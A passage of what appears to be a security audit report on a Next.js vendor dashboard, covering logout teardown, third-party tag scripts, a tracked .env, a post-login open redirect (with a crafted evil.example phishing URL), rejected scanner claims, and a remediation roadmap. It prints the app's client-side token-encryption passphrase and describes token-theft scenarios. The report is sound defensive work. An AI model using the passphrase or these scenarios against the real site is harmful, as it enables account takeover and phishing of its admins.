src/store/auth/authSlice.ts:65-72 logout(state) removes only localStorage['token'] and the cookie — no localStorage.removeItem('user'), no setAuthToken(null) src/app/(features)/DashboardShell.tsx:194 and :253 logout buttons dispatch(logout()) (the reducer path), not setAuthToken(null) src/services/apiHelper.tsx:14 sets axiosInstance.defaults.headers.common['Authorization']; only setAuthToken(null) (apiHelper.tsx:22) deletes it — the logout reducer never calls it AuthInitializer.tsx:40-41 removes 'user' only in the decryption catch branch, not on normal logout
Attack scenario
An admin clicks Logout on a shared workstation; the next user opens devtools, reads localStorage['user'], decrypts it with the bundled passphrase, and obtains the previous admin's email and phone; separately, code running before a reload still sends the old Bearer token.
Impact

Residual PII persists in localStorage across logout on shared machines, and the live axios instance keeps sending the old Bearer token after logout until reload, weakening logout as a security control.

Remediation
In the logout flow call setAuthToken(null) (clears the Authorization header) AND localStorage.removeItem('user') in addition to clearing the token and cookie, then force a navigation/hard reload so no stale in-memory token remains. Centralize logout so every entry point performs the same full teardown.
Verifier note

Confirmed the partial teardown by reading authSlice.ts:65-72 (no user removal, no setAuthToken), the two logout dispatch sites in DashboardShell.tsx, and that only setAuthToken(null) deletes the axios header. CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N.

AV-13

Third-party Google tag/GTM scripts loaded unconditionally (incl. /login) without consent gating; force CSP to allow inline script

P2 A05:2021 Security Misconfiguration CWE-353 CVSS 4.2 confirmed
Description

The admin/vendor dashboard loads four Google advertising/analytics containers unconditionally in the root layout, including on /login, with no consent mechanism. The tag IDs themselves are public-by-design and not secrets. The real issues are: (1) mutable third-party JavaScript executes with full DOM and credential (token) access on an authenticated admin surface — a hijack of any of the four Google tag containers runs attacker JS in every admin session and can read the script-accessible token (AV-02); (2) the four inline gtag/GTM bootstrap blocks (dangerouslySetInnerHTML) force any future CSP to permit inline script, weakening the AV-03 CSP remediation; (3) admin deep-link URLs containing brand/account/campaign IDs leak to advertising trackers without consent (privacy/PECR/GDPR).

Evidence
src/app/layout.tsx:32-97 injects four external <script src=googletagmanager.com> tags (G-2H13HZMS8G, AW-16745410453, GTM-P33GXCBR, AW-11564075369) plus four inline gtag/GTM bootstrap blocks via dangerouslySetInnerHTML Root layout loads on every page including the unauthenticated /login, before any auth gate No crossorigin/integrity attributes (SRI inapplicable to self-mutating GTM, but mutable 3rd-party JS still runs with full DOM/credential access)
Attack scenario
An attacker who compromises one of the four Google tag containers (or the Google Ads account) pushes JavaScript that runs in every admin session, reads localStorage['token'], decrypts it with the bundled passphrase (AV-02), and exfiltrates it.
Impact

Supply-chain risk: compromise of a Google tag container executes attacker JS in every admin session with access to the decryptable token. Privacy: admin identifiers exfiltrated to advertising pixels without consent. Hardening: inline analytics blocks obstruct adoption of a strict CSP.

Remediation
Remove advertising/analytics tags from the authenticated admin app, or load them only after explicit consent and only on non-authenticated marketing pages. Migrate inline gtag bootstrap to nonce-based or next/script external scripts so a strict CSP (AV-03) can be adopted, and constrain third-party origins via CSP script-src/connect-src allowlists.
Verifier note

Confirmed the four external tags and four inline gtag blocks in layout.tsx:32-97. The GA/Ads/GTM IDs are not secrets (a separate scanner finding correctly rated that informational and is rejected); the genuine residual risk is the 3rd-party-script supply chain + inline-script-vs-CSP, captured here. CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N.

AV-11

Development/staging backend URLs hardcoded in committed .env and inlined into client bundle; dev fallback in campaign-request page

P3 A05:2021 Security Misconfiguration CWE-1188 CVSS 4.3 confirmed
Description

The repo commits a .env (overriding its own .gitignore '.env*' rule) whose default values all point at development/staging infrastructure, and because they are NEXT_PUBLIC_ they are baked into the client bundle at build time. With no per-stage override convention, a production build that forgets to override these ships an admin dashboard wired to dev-partners.alist.ae and development-* hosts. The campaign-request page compounds this with a hostname ternary whose else-branch silently falls back to the development-business form for any host other than the single literal 'partners.alist.ae'. The committed values contain no secrets, but the tracked-.env pattern means any future server-side secret added to this file would be committed and pushed automatically.

Evidence
.env is git-tracked (git ls-files shows .env) despite .gitignore '.env*'; history commits 925ba98 'commiting env file' and b45494c (verified) .env contents (all NEXT_PUBLIC_*): NEXT_PUBLIC_API_BASE_URL=https://dev-partners.alist.ae/api; NEXT_PUBLIC_CREATE_LINK_URL=https://development-creator.alist.ae; NEXT_PUBLIC_IMAGE_URL=https://development-admin.alist.ae NEXT_PUBLIC_* values are inlined into the client bundle (apiHelper.tsx:4 const BASE_URL = process.env.NEXT_PUBLIC_API_BASE_URL) src/app/(features)/businesses/campaign-request/page.tsx:11-17 hardcodes a host check that DEFAULTS to https://development-business.alist.ae for any hostname != 'partners.alist.ae' No secrets in .env or git history (verified: only NEXT_PUBLIC_* URLs); no .env.local/.env.production convention exists
Attack scenario
Not directly exploitable today (no secret). Forward risk: a developer adds a backend secret to the already-tracked .env and pushes it, leaking a live credential into Bitbucket history; or a production deploy missing the override silently ships pointing at dev infrastructure.
Impact

Production admins could unknowingly authenticate/submit against dev/staging backends (data integrity/leakage between environments), the campaign-request iframe defaults to the dev form on any non-canonical host, and dev/staging hostnames are disclosed in source history aiding recon. The main forward risk is that the tracked-.env habit leaks a real credential the moment one is added.

Remediation
git rm --cached .env and commit; add a .env.example with placeholder values only; confirm .gitignore '.env*' is honored. Establish per-environment config (.env.production / deployment env vars) and require NEXT_PUBLIC_API_BASE_URL to be set explicitly at build. Replace the hostname ternary in campaign-request/page.tsx with an explicit NEXT_PUBLIC_CAMPAIGN_FORM_URL and drop the dev default. Add a gitleaks pre-commit hook + CI secret scan so any future real secret in an env file is blocked.
Verifier note

Merged the three duplicate .env findings (client_secrets, auth_token, misconfig) into one canonical config-hygiene entry and folded in the campaign-request dev-fallback (verified at page.tsx:11-17). Confirmed .env tracking, history, contents, and absence of any real secret. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N.

AV-12

Post-login open redirect via attacker-controlled 'redirect' query parameter (no destination allow-list)

P3 A01:2021 Broken Access Control CWE-601 CVSS 4.3 likely
Description

On successful login, LoginComponent reads the 'redirectedFrom' and 'redirect' query params and, when redirectedFrom === 'admin', navigates to redirect via router.push(redirectUrl) with no validation that the destination is a relative/same-origin path. Although middleware normally sets these from an internal pathname, both are fully attacker-controllable in a crafted login URL (e.g. /login?redirectedFrom=admin&redirect=https://evil.example). There is no allow-list, leading-slash check, or host comparison. router.push of an absolute cross-origin URL is environment-dependent and javascript: is not executed by router.push, hence 'likely' not 'confirmed'.

Evidence
src/app/(auth)/login/LoginComponent.tsx:24-25 reads searchParams.get('redirectedFrom') and searchParams.get('redirect') LoginComponent.tsx:36-37 if (redirectedFrom === 'admin' && redirectUrl) { router.push(redirectUrl); } — no allow-list / leading-slash / same-origin check middleware.ts:18-21 normally sets these params to an internal pathname, but the login page is publicly reachable so both are attacker-supplied in a crafted URL
Attack scenario
Attacker emails a victim a link to https://partners.alist.ae/login?redirectedFrom=admin&redirect=https://evil.example/phish; after the victim logs in, the app navigates them to the attacker page, which mimics alist.ae to harvest further credentials or actions.
Impact

An attacker can craft a partners.alist.ae login link that, after the victim authenticates, redirects to an attacker-influenced destination — useful for phishing continuity (victim trusts the alist.ae origin) and referrer leakage. Bounded because it fires only post-authentication and Next router semantics limit classic off-site redirects.

Remediation
Before router.push(redirectUrl), validate that redirectUrl is a relative same-origin path: require a single leading slash (reject //, backslashes, and any scheme), or resolve against window.location.origin and confirm the resolved origin matches. Prefer an indirect reference map of allowed internal destinations instead of echoing a raw query-string URL.
Verifier note

Merged the two duplicate open-redirect findings (xss_clientside + auth_token). Confirmed the unvalidated router.push at LoginComponent.tsx:36-37. Kept 'likely'/P3 because Next router.push behavior bounds the off-site impact. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N.

AV-06b

Rejected / downgraded scanner claims (documented for transparency)

P3 A06:2021 Vulnerable and Outdated Components CWE-1104 CVSS n/a theoretical
Description

For audit integrity, the following raw scanner findings were adversarially reviewed and NOT carried as confirmed vulnerabilities. They are recorded here so the CEO and the new consultant can see what was deliberately excluded and why.

Rejected items

1. "React2Shell" RCE family (claimed P0/CVSS-10). The cited identifiers CVE-2025-55182/-55183/-55184/-66478/-67779 against next@15.3.3 + react/react-dom@19.1.0 could not be corroborated; the scanner itself rated it "likely" with an undocumented deployment model. The version pins are real (verified in the lockfile) so the patch-lag is captured as AV-06 (P2); the unauthenticated RCE remains theoretical pending CVE corroboration and a confirmed running-Node deployment.

2. next CVE-2025-49005 (RSC content-injection / cache poisoning). Could not corroborate; low-severity (CVSS ~3.7), deployment-dependent (CDN cache-key), and remediated by the same Next upgrade. Folded into AV-06 rather than asserted as a distinct CVE.

3. Hardcoded GA4/Ads/GTM container IDs (informational). Correctly self-described as informational: those IDs are public-by-design and confer no read/write access. The genuine residual risk (third-party script supply chain + inline-script-vs-CSP + consent) is captured in AV-13; the IDs themselves are not a vulnerability.

Remediation
No direct action beyond AV-06's framework upgrade and SCA. Revisit if the cited CVE identifiers are later corroborated by NVD/GHSA and a running-Node deployment is confirmed.

Remediation roadmap

Immediate
Break the account-takeover chain (AV-01 + AV-02) first:
  • Add isomorphic-dompurify and wrap (or plain-text) every dangerouslySetInnerHTML sink; delete the dormant DedicatedOfferGuidelines sinks (AV-01).
  • Stop client-side token encryption; move the session to a backend-issued HttpOnly; Secure; SameSite=Strict cookie and delete the localStorage token/user copies. Treat al123@st678$ven as compromised and rotate tokens in circulation (AV-02).
  • Fix the idle timeout to 1_800_000 ms (AV-09) — one-line, high-value change.
This week
Restore build integrity and add defense-in-depth:
  • Regenerate package-lock.json with npm install, commit it, and switch to npm ci; add an .npmrc registry pin (AV-05).
  • Add a strict CSP plus HSTS, X-Frame-Options: DENY, X-Content-Type-Options, Referrer-Policy and Permissions-Policy via next.config.ts headers() (AV-03).
  • Complete logout teardown: call setAuthToken(null) + localStorage.removeItem('user') and force a hard reload (AV-10).
This month
Close the governance and authorization gaps:
  • Stand up CI (Bitbucket Pipelines / GitHub Actions): npm ci, npm audit --audit-level=high / Snyk, gitleaks/trufflehog, and next lint as blocking steps; remove eslint.ignoreDuringBuilds (AV-07).
  • Upgrade next/react/react-dom/axios to patched lines, set axios maxContentLength/maxBodyLength, re-run npm audit (AV-06).
  • Enforce the KYC-download PIN server-side via a short-lived file-scoped capability token or signed URL (AV-08).
  • Make the middleware gate authoritative (verify a signed JWT with jose) or document it as UX-only (AV-04).
Hardening
Reduce residual and third-party surface:
  • Remove advertising/analytics tags from the authenticated admin app (or consent-gate them on marketing pages only) and migrate inline gtag to nonce-based next/script so the strict CSP holds (AV-13).
  • git rm --cached .env, add .env.example, adopt per-stage config, and replace the campaign-request hostname ternary with an explicit env var (AV-11).
  • Add an allow-list / same-origin check before the post-login router.push redirect (AV-12).
  • Strip production console.* logging of API responses / AxiosError objects via compiler.removeConsole (AV-07).

Code quality

Run / deploy

Local setup

cd alist-vendors
npm install          # NOTE: npm ci currently fails — lockfile is stale (AV-05)
npm run dev          # http://localhost:3000 → /login
# log in requires reachability to https://dev-partners.alist.ae

Environment

Deployment hints

No vercel.json, no Dockerfile, no bitbucket-pipelines.yml, no .github/. The NEXT_PUBLIC_IMAGE_URL plumbing (parsed at config-eval time) implies Vercel-style env injection. Confirm with the team before any deploy attempt. Production likely needs NEXT_PUBLIC_API_BASE_URL repointed away from dev-partners, and there is no place to inject security headers today (see AV-03).

What to know before editing